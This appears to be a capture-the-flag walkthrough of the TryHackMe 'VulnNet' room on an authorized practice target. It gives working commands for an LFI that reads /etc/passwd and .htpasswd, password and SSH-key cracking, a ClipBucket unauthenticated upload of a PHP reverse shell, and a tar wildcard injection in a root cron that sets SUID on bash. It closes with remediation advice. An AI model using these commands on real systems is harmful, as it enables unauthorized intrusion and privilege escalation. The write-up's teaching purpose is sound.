mintshell
VI

VulnNet

An LFI reads .htpasswd to crack a developer password that unlocks a ClipBucket vhost; an unauthenticated ClipBucket upload flaw (EDB-44250) gives www-data, a world-readable backup leaks an SSH key cracked to a user, and a root cron running tar with an unquoted wildcard is hijacked for root.

Platform
TryHackMe
Room
VulnNet(external link)
Difficulty
Medium
Vulnerabilities
local file inclusion, weak credentials, unrestricted file upload, world-readable secret file, wildcard injection
5 min read

A walkthrough of the “VulnNet” room from TryHackMe — a Linux box. An LFI reads the Apache .htpasswd**, which cracks to a developer password that unlocks a hidden virtual host running *ClipBucket**. A known unauthenticated upload flaw gives* www-data**, a world-readable backup leaks an SSH key, and a root cron that tar**s a wildcard in a directory we control hands over root.

VulnNet is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. The cracked password, the SSH key passphrase, the DB password, and both flags are shown as <redacted> / THM{<redacted>} — real on the box, withheld here.


TL;DR

TL;DR

gobuster finds the vhost broadcast.vulnnet.thm (behind HTTP basic auth) → an LFI on the main site reads /etc/passwd and the Apache .htpasswd → crack the developers hash with John (md5crypt) → log in to the vhost, which runs ClipBucket v4.0 → EDB-44250 is an unauthenticated arbitrary file upload (beats_uploader.php) → upload a PHP shell → RCE as www-data → /var/backups/ssh-backup.tar.gz is world-readable and holds an encrypted id_rsa → crack its passphrase with ssh2john + John → SSH as server-management (user flag) → a root cron runs /var/opt/backupsrv.sh, which tars * in a directory we own → tar wildcard injection (--checkpoint / --checkpoint-action=exec=) runs our script as root → chmod +s /bin/bash → root.

The target

export IP=<target-ip>
export ATTACKER_IP=<your-ip>
22/tcp open  ssh   OpenSSH 7.6p1 (Ubuntu)
80/tcp open  http  Apache httpd 2.4.29 (Ubuntu)   # "VulnNet"

The vulnerability

Two web flaws open the box: an LFI that discloses the Apache password file, and a known ClipBucket upload CVE (EDB-44250) reachable once the vhost password is cracked. Root is a textbook tar wildcard injection in a root cron.

Insight

tar czf archive * expands * to the directory’s filenames — and tar treats any filename that looks like an option as one. Create files named --checkpoint=1 and --checkpoint-action=exec=sh test.sh, and tar will “helpfully” run test.sh. When that tar runs from a root cron over a directory you can write, your script runs as root. The bug is the unquoted glob, not tar.

Step 1 — vhost + LFI → crack .htpasswd

gobuster vhost -w .../subdomains-top1million-5000.txt -u http://vulnnet.thm
# broadcast.vulnnet.thm (401)  ->  add to /etc/hosts
# the main site's page parameter is an LFI:
curl "http://vulnnet.thm/index.php?page=/etc/passwd"    # users: server-management, root
curl "http://vulnnet.thm/index.php?page=.../.htpasswd"  # developers:$apr1$<redacted>
john --wordlist=rockyou.txt hash                        # md5crypt -> developers : <redacted>

Step 2 — ClipBucket EDB-44250 → www-data

The vhost source reveals <!-- ClipBucket version 4.0 -->. searchsploit turns up an unauthenticated upload:

searchsploit ClipBucket    # EDB-44250: unauth file upload / cmd injection / sqli
curl -u developers:<redacted> -F "file=@revshell.php" -F "plupload=1" -F "name=revshell.php" \
  "http://broadcast.vulnnet.thm/actions/beats_uploader.php"
# browse the returned upload path -> reverse shell
nc -lvnp 4444              # www-data

Step 3 — world-readable backup → server-management (user flag)

cat /var/www/html/includes/dbconnect.php   # mysql admin:<redacted> (a dead end)
ls -l /var/backups/                         # ssh-backup.tar.gz (world-readable)

Exfil the backup, crack the encrypted key’s passphrase, and log in:

tar xf ssh-backup.tar.gz                    # id_rsa (passphrase-protected)
ssh2john id_rsa > rsa.hash
john --format=SSH --wordlist=rockyou.txt rsa.hash   # passphrase: <redacted>
ssh server-management@$IP -i id_rsa
cat user.txt                                # THM{<redacted>}

Step 4 — tar wildcard injection → root

cat /etc/crontab
# */2 * * * * root /var/opt/backupsrv.sh
cat /var/opt/backupsrv.sh
#   cd /home/server-management/Documents ; tar czf $dest/$archive_file *   <- unquoted *

The cron runs as root and tars * inside a directory we own. Plant the magic filenames so the glob feeds tar options that execute our script:

cd ~/Documents
echo 'chmod +s /bin/bash' > test.sh
echo '' > "--checkpoint-action=exec=sh test.sh"
echo '' > --checkpoint=1
# wait for the next root run (<= 2 min), then:
/bin/bash -p
# whoami -> root
cat /root/root.txt                          # THM{<redacted>}

Impact

Critical

Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). An unauthenticated LFI discloses the password file, a cracked credential unlocks a vhost with a known unauthenticated upload CVE (remote code execution as www-data), a world-readable SSH-key backup yields a user shell, and a root cron running tar * over a writable directory escalates to root. Every stage is remote or local-but-trivial and needs no custom exploit — an LFI, a public CVE, a readable backup, and one unquoted wildcard.

Fix

  • Fix the LFI (allow-list page names, no user input in file paths) and never serve .htpasswd; use strong, unique credentials so a cracked hash is worthless.
  • Patch or replace ClipBucket. EDB-44250 is an unauthenticated upload — lock down the actions/*_uploader.php endpoints and keep the app current.
  • Don’t leave SSH-key backups world-readable. Restrict permissions, use a strong passphrase, and rotate the exposed key.
  • Never tar ... * in a user-writable directory from a privileged job. Use an explicit file list or tar ... -- with find -exec, quote and pin paths, and don’t run backups over a directory low-priv users control.

Takeaways

  • An LFI reads the password file. .htpasswd plus John is a login, not just a curiosity.
  • Known CVEs are the fast path. A version string in the page source → searchsploit → an unauthenticated upload.
  • tar + a wildcard in a writable directory is arbitrary code. --checkpoint-action=exec= is the classic, and a root cron makes it root.

VulnNet strings four everyday mistakes into a clean web-to-root chain. Thanks for reading.